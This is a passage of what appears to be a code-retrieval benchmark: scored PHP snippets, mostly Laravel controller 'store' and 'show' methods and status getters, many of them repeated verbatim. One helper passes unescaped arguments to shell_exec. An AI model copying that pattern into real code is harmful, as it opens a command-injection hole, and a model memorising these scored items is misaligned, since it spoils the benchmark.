"docid": "2d09fa6f8f362d4017af182e6c5ca48e", "score": "0.49129966", "text": "public function glusterfsstatus()\n {\n $result = array();\n $count = array();\n\n $hosts = $this->hostManager->getAllGlusterfs();\n $clusters = $this->glusterfsClusterManager->getAllItems();\n $volumes = $this->glusterfsVolumeManager->getAllItems();\n $countBricks = 0;\n foreach ($volumes as $volume) {\n $bricks = explode(',', $volume->bricks);\n $countBricks += count($bricks);\n }\n\n $count['node'] = count($hosts);\n $count['cluster'] = count($clusters);\n $count['volume'] = count($volumes);\n $count['brick'] = $countBricks;\n $count['alert'] = 0;\n $count['comment'] = 0;\n\n $result['data']['count'] = $count;\n\n return $result;\n }", "title": "" }, { "docid": "d044a202484cf3016707b1215675fe02", "score": "0.4911228", "text": "public function stat(){ \n $check = imap_mailboxmsginfo($this->CONN); \n return ((array)$check); \n }", "title": "" }, { "docid": "e1ce5c30220e9d19e9ce8e29274cf4c6", "score": "0.49092647", "text": "function status($vid){\n\n\t\t// Make the Request\n\t\t$res = $this->call('index.php?svs='.$vid.'&act=start');\n\n\t\treturn $res['status'];\n\n\t}", "title": "" }, { "docid": "dd346ad910884d831a227f0c855e93e9", "score": "0.49051687", "text": "public function getHKStatus(){\n\t\t$this->db->select('tblHKStatus.pkHKStatusId, tblHKStatus.HKStatusDesc, tblHKStatus.HKStatusCode');\n\t\t$this->db->from('tblHKStatus');\n\t\treturn $this->db->get()->result();\n\t}", "title": "" }, { "docid": "1fc89df43763ff4cdcc8b2ac1b148e3f", "score": "0.48984045", "text": "public function getPohdstat()\n {\n return $this->pohdstat;\n }", "title": "" }, { "docid": "5e25b7f1b0d844b0974a8408247a3490", "score": "0.48960647", "text": "public function checkStatus() {\n\t\t\treturn array(\n\t\t\t\t'description' => $this->getDescription(),\n\t\t\t\t'errors' => array(),\n\t\t\t\t'warnings' => array(),\n\t\t\t\t'available' => ((bool)$this->opo_config->get('enabled'))\n\t\t\t\t\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "822d164725ea5787231ffe9d5c0c9914", "score": "0.489505", "text": "public function program_status()\n\t{\n\t\tif ($this->program_data_present)\n\t\t\treturn $this->ps;\n\n\t\t$ls = Livestatus::instance();\n\t\t$this->ps = $ls->getProcessInfo(array('auth'=>false));\n\t\t$this->program_data_present = true;\n\t\treturn $this->ps;\n\t}", "title": "" }, { "docid": "862704882af5eec158cd6f09ac9edd1e", "score": "0.4889895", "text": "public function status(){\n $user = $this->_ap_right_check();\n if(!$user){\n return;\n }\n\n $pid = exec('pidof freeradius');\n $items = array();\n $items['pid'] = intval($pid);\n if($pid == ''){\n $items['running'] = false; \n }else{\n $items['running'] = true; \n }\n\n $this->set([\n 'data' => $items,\n 'success' => true,\n '_serialize' => ['success', 'data']\n ]);\n }", "title": "" }, { "docid": "7c9634bf96a3a4eb349ed660ef27b282", "score": "0.48620072", "text": "function getStatus() {\n\t\treturn $this->dataArray['status'];\n\t}", "title": "" }, { "docid": "8ef17824c3730dea5a7f17d8e55591d5", "score": "0.48619267", "text": "public function getSelfTestLogs() {\n\t\t$this->getData();\n\t\t$result = [];\n\t\tforeach ($this->cmdOutput as $cmdOutputk => $cmdOutputv) {\n\t\t\t// SMART Self-test log structure\n\t\t\t// Parse command output:\n\t\t\t// Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error\n\t\t\t// # 1 Extended offline Completed: read failure 90% 670 57217755\n\t\t\t// # 2 Short captive Interrupted (host reset) 80% 1392 -\n\t\t\t$regex = '/^#\\s*(\\d+)\\s+(Short offline|Extended offline|'.\n\t\t\t 'Short captive|Extended captive)\\s+(.+)\\s+(\\d+)%\\s+(\\d+)'.\n\t\t\t '\\s+(.+)$/';\n\t\t\tif (1 == preg_match($regex, $cmdOutputv, $matches)) {\n\t\t\t\t$result[] = array(\n\t\t\t\t\t\"num\" => $matches[1],\n\t\t\t\t\t\"description\" => $matches[2],\n\t\t\t\t\t\"status\" => $matches[3],\n\t\t\t\t\t\"remaining\" => $matches[4],\n\t\t\t\t\t\"lifetime\" => $matches[5],\n\t\t\t\t\t\"lbaoffirsterror\" => $matches[6]\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c83ef9ca9efbbba1c0c00b06d4d1c135", "score": "0.48500738", "text": "public function execute() {\n\t\t$params = implode(' ', func_get_args());\n\t\treturn shell_exec(sprintf(self::FMT_COMMAND, $this->command, $params, $this->output));\n\t}", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.48420733", "text": "public function getStatus();", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "56ee35ddafafd544e6b39fe3fcb446ac", "score": "0.0", "text": "public function store(Request $request)\n {\n\n //dd(Carbon::parse($request->publish_date)->format('Y-m-d H:i'));\n $request->validate([\n // 'start_date' => 'required|date',\n 'client_business_type_id'=>'required',\n 'publish_date'=>'required|date',\n 'last_payment_date'=>'required|date|after:start_date',\n 'notification_date'=>'required|date|after:start_date',\n 'notification_method'=>'required',\n 'c_type'=>'required',\n 'items.*.item_id'=>'required',\n 'items.*.quantity'=>'required|numeric',\n 'items.*.unit_price'=>'required|numeric|regex:/^\\d*(\\.\\d{1,2})?$/',\n 'items.*.total_amount'=>'required|numeric|regex:/^\\d*(\\.\\d{1,2})?$/'\n\n ] ) ;\n\n $publishDate=Carbon::parse($request->publish_date);\n $lastPaymentDate=Carbon::parse($request->last_payment_date);\n $notificationDate=Carbon::parse($request->notification_date);\n\n if($publishDate > $lastPaymentDate){\n\n // Session::flash('message', 'Last Payment Date Greater Published Date .');\n return back()->withInput()->withErrors('Last Payment Date Greater Published Date .');\n }\n if ($publishDate > $notificationDate || $notificationDate > $lastPaymentDate){\n\n // Session::flash('message', 'Notification Date Greater Than Publish Date And Less Than Last Payment Date.');\n return back()->withInput()->withErrors('Notification Date Greater Than Publish Date And Less Than Last Payment Date.');\n }\n\n\n $customer_invoices=[];\n $allItems= [];\n $invoice_details = collect($request->all());\n\n if ($request->c_type==\"single\"){\n $customers=User::whereIn('id', $invoice_details['customer_id'])->where('status','=','Active')->get();\n }\n if ($request->c_type==\"group\"){\n $customers=ClientCustomerGroupPivot::with('relUser')->where('group_id', $invoice_details['customer_group_id'])->get();\n }\n\n $business_type= BusinessType::select('name', 'id', 'client_id', 'tax','tdr_type','my_tdr','services_tdr','total_tdr','logo')->where('id', $invoice_details['client_business_type_id'])->where('client_id', Auth::user()->id)->first();\n $discount= ClientDiscount::where('status', '!=', 'Used')->where('id', $invoice_details['discount_id'])->where('client_id', Auth::user()->id)->first();\n\n if (count($invoice_details['items']) > 0) {\n foreach ($invoice_details['items'] as $k => $v) {\n //$data['items_details'][] = ItemsModel::where('id', $v['item_id'])->first();\n $allItems[]=ItemsModel::where('id', $invoice_details['items'][$k]['item_id'])->first();\n }\n }\n\n if (count($customers)==0){\n return back()->withInput()->withErrors('User Group user not define');\n }else{\n foreach ($customers as $customer) {\n if($request->c_type==\"group\"){$c_info=$customer->relUser;}\n if($request->c_type==\"single\"){$c_info=$customer;}\n $customer_invoices[$c_info->id]['customer_info']=$c_info;\n $customer_invoices[$c_info->id]['invoice_details']=$invoice_details;\n $customer_invoices[$c_info->id]['invoice_no']='QB'.time().rand(0,9);\n $customer_invoices[$c_info->id]['invoice_details']['item_all']=$allItems;\n $customer_invoices[$c_info->id]['discount']=$discount;\n $customer_invoices[$c_info->id]['business_type']=$business_type;\n\n }\n }\n\n\n // $request->session()->forget('invoice');\n Session::put('invoice', $customer_invoices);\n return redirect()->route('invoice_preview');\n }", "title": "" } ]
[ { "docid": "d2d5025c41b1d2624f860d8ceab9e2ab", "score": "0.7168782", "text": "public function store()\n {\n // Use the parent API to save the resource\n $object = $this->api()->store();\n\n // Redirect back with message\n return $this->redirect('created', ['id' => $object->id])\n ->with('message', $this->message('created') );\n }", "title": "" }, { "docid": "d98a4fb282f0c755f010ee2f5ed4571d", "score": "0.7077314", "text": "protected function save()\n {\n $this->em->persist($this->resource);\n $this->em->flush();\n }", "title": "" }, { "docid": "57d765bdde5c5951746b777b6533d048", "score": "0.69856346", "text": "public function store(StoreResource $request)\n {\n $input = $request->all();\n \n $resource = new Resource;\n $resource->fill($input);\n \n $resource->save();\n\n // redirect\n Session::flash('message', 'Successfully saved resource!');\n \n return redirect('resources');\n }", "title": "" }, { "docid": "d952c501b2ff80d2bf8bb35cd4b5c7f7", "score": "0.6660094", "text": "public function store(StoreResource $request)\n {\n $data = request(['title', 'type', 'description', 'link', 'markdown', 'code']);\n \n $user = JWTAuth::parseToken()->authenticate();\n \n $resource = Resource::create([\n 'title' => $data['title'],\n 'type' => $data['type'],\n 'link' => $data['link'],\n 'code' => $data['code'],\n 'markdown' => $data['markdown'],\n 'user_id' => $user['id'],\n ]);\n \n return $resource;\n }", "title": "" }, { "docid": "0a2dcecef8071427bb4f3c22969d6817", "score": "0.6619958", "text": "public function store()\n {\n if (!$this->id) {\n $this->id = $this->insertObject();\n } else {\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "4e5acd860dcda74c61d836d96050b079", "score": "0.66155946", "text": "public function put(Storage $storage);", "title": "" }, { "docid": "de5fc2070d9e5322839836dc750f4b80", "score": "0.6569558", "text": "public function store(StoragesStoreRequest $request)\n {\n $by_id = Auth::user()->id;\n\n $new_storage = Storage::create([\n 'maker' => $request->maker,\n 'model_number' => $request->model_number,\n 'serial_number' => $request->serial_number,\n 'size' => $request->size,\n 'types' => $request->types,\n 'supported_os' => $request->supported_os,\n 'recovery_key' => $request->recovery_key,\n 'storage_password' => $request->storage_password,\n 'updated_by' => $by_id,\n 'created_by' => $by_id,\n ]);\n\n return redirect()->route('storages.show', $new_storage->id)->with('information', 'レコードを作成しました。');\n }", "title": "" }, { "docid": "3fbbbe537a186e3aba9885c042be89ee", "score": "0.6486008", "text": "public function create_storage();", "title": "" }, { "docid": "5bfca839729027de5944143fb0dca04f", "score": "0.64471614", "text": "public function store(Request $request)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'abstract' => 'required',\n 'content' => 'required',\n 'categories' => 'required|array',\n 'image' => 'required',\n ]);\n\n $resource = Resource::create([\n 'title' => $request->title,\n 'abstract' => $request->abstract,\n 'content' => $request->content,\n 'status' => $request->status,\n 'user_id' => auth()->user()->id,\n ]);\n $resource->categories()->sync($request->categories);\n\n $path = $request->image;\n $image = File::where('file_path', $path)->first();\n $resource->image()->sync($image->id);\n\n $request->session()->flash('flash.banner', 'Recurso creado exitosamente');\n\n return redirect()->route('resource.edit', $resource);\n }", "title": "" }, { "docid": "68f3fa80257f85b02954ae4ca8745d5f", "score": "0.6422112", "text": "public function store(Request $request)\n {\n $req = $request->all();\n if (Validator::make($req,\n [\n 'new_dir' => 'required',\n ])->fails()) return $this->failed(400000);\n if (Validator::make($req,\n [\n 'new_dir' => 'string',\n ])->fails()) return $this->failed(400001);\n\n $resource = new Resource();\n $resource->resource_name = $req['new_dir'];\n $resource->file = false;\n if ($req['current_path']) $resource->path = $req['current_path'];\n if (!$resource->save()) return $this->failed(500001);\n $request->user()->resource()->attach($resource->id);\n return response()->json($resource);\n }", "title": "" }, { "docid": "40718558d61a4c56dc5b2c2b6422e8cf", "score": "0.6419359", "text": "abstract public function createStorage();", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.637569", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "634b03751c156f72e00ba740b789cf98", "score": "0.6369132", "text": "public function store()\n\t{\n\t\t//\n\n\n\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "a433e4db90e8b2bc1724f47789dc0d06", "score": "0.0", "text": "public function edit($id)\n {\n //\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "754e1795026ca4c71e3959656a533ca3", "score": "0.77020115", "text": "private function _displayResource() {\n\t\t// determine which action to take\n\t\t$lti_message_type = $this->lti_model->getLtiDataValue('lti_message_type');\n\t\tswitch( $lti_message_type ){\n\t\t\tcase 'ContentItemSelectionRequest' : // take user to the content item selector\n\t\t\t\t$this->_getContentItemSelectionRequest();\n\t\t\t\tbreak;\n\t\t\tcase 'basic-lti-launch-request' : // retrieve the requested resource\n\t\t\tdefault :\n\t\t\t\t// store LTI basic outcomes service details when an outcome is requested\n\t\t\t\t$this->lti_outcomes->saveLtiOutcomesValues();\n\t\t\t\t$this->getContent( $custom_resource_id );\n\t\t}\n\t}", "title": "" }, { "docid": "d77a1cf077ad489eb930bc1facfeb4a7", "score": "0.7348343", "text": "public function show($class_id, $resource)\n {\n //\n }", "title": "" }, { "docid": "26f38c42099a7c64fba7842c4ce19062", "score": "0.7230476", "text": "public function show(Resource $resource)\n {\n return view('actions.resource.show', compact('resource'));\n }", "title": "" }, { "docid": "b8de278532cf1b2d94016c0cd12737fd", "score": "0.7159185", "text": "public function show(Resource $resource)\n {\n $resource = new ResourceResource($resource);\n return $this->success('Resource Detail.', $resource);\n }", "title": "" }, { "docid": "48fb67ee8a54377a224740d572c17cdd", "score": "0.7143722", "text": "public function show(Resource $resource)\n {\n return view('resource.show',['resource'=>$resource]);\n }", "title": "" }, { "docid": "50078f2eddc7667a37be0da403d6d3e4", "score": "0.7131298", "text": "function display($resource_name, $cache_id = null, $compile_id = null) {\n // Был старый выхзов, учитывал кеширование\n //$this->fetch($resource_name, $cache_id, $compile_id, true);\n $this->render($resource_name);\n }", "title": "" }, { "docid": "860344e8f85b09bf11e41aa48e928f6e", "score": "0.6776001", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BWBlogBundle:Resource')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Resource entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BWBlogBundle:Resource:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }", "title": "" }, { "docid": "bc7cbf8f7bf2cdecfc58cc20b4ee76ef", "score": "0.6574996", "text": "public function show($course, Resource $resource)\n {\n\n\n $pageTitle = 'Resource';\n\n return view('resources.resource')->with(compact( 'resource', 'pageTitle'));\n }", "title": "" }, { "docid": "cc94e2329160f202733c635aa4bf0b30", "score": "0.65286446", "text": "public function show($param)\r\n {\r\n\r\n $data['resource_header'] = true;\r\n $user_id = ($this->auth)?$this->auth->id:null;\r\n $data['resource'] = Resource::with(['tags', 'likesCount', 'user', 'downloads', 'category', 'category.resources' => function($q){\r\n $q->limit(4);\r\n }, 'like' => function($q)use($user_id){\r\n $q->where('user_id', $user_id);\r\n }])\r\n ->where('slug', $param)\r\n ->orWhere('id', $param)\r\n ->firstOrFail();\r\n\r\n $author = User::with('profile')\r\n ->where('id', $data['resource']->user_id)\r\n ->get()\r\n ->toArray();\r\n\r\n if(count($author) > 0){\r\n $data['author'] = $author[0];\r\n }\r\n\r\n $data['latestResources'] = Resource::with('category')->orderBy('id', 'desc')->limit(5)->get();\r\n $data['tags'] = Tag::orderBy('id','desc')->get();\r\n\r\n return view('public.resource')->with($data);\r\n }", "title": "" }, { "docid": "69545e83d1d4c03b646757789a897b5b", "score": "0.6515112", "text": "public function show(Resource $resource)\n {\n //\n // $this->authorize('view',Resource::class);\n // $page=Page::all();\n // $resource=Resource::all();\n // return view('resource.show',compact('page','resource'));\n return response()->json($resource);\n }", "title": "" }, { "docid": "51abeaf13e315e938469da7a51936df5", "score": "0.6467601", "text": "public function show($id)\n {\n $query = '\"select\":\"*\",\"where\":\"id=' . $id . '\"';\n $data = ResourcesService::getResourcesTableRow($query);\n $resource = $data[\"Result\"][0];\n //$resource = Resource::findOrFail($id);\n\n return view('admin.resources.show', compact('resource'));\n }", "title": "" }, { "docid": "4869655563febeddc21b876b2d3bd399", "score": "0.6464456", "text": "public function showResource(Request $request, $id = 0);", "title": "" }, { "docid": "6e101e96500f24d567e50a803b6d00fb", "score": "0.64562225", "text": "public function show($id)\n\t{\n\t\t// Get the resource if it has not been provided by the child class\n\t\tif( ! $this->resource->getKey())\n\t\t\t$this->resource = $this->resource->findOrFail($id);\n\n\t\t$this->layout->subtitle = _('Details');\n\n\t\treturn $this->loadView(__FUNCTION__, $this->resource->getVisibleLabels());\n\t}", "title": "" }, { "docid": "0bfd2fab1690e405f8ae90f2f671725b", "score": "0.63684106", "text": "public function show($id)\n\t{\n\t\t$resource = Resource::findOrFail($id);\n\t\treturn View::make('resource/show', compact('resource'));\n\t}", "title": "" }, { "docid": 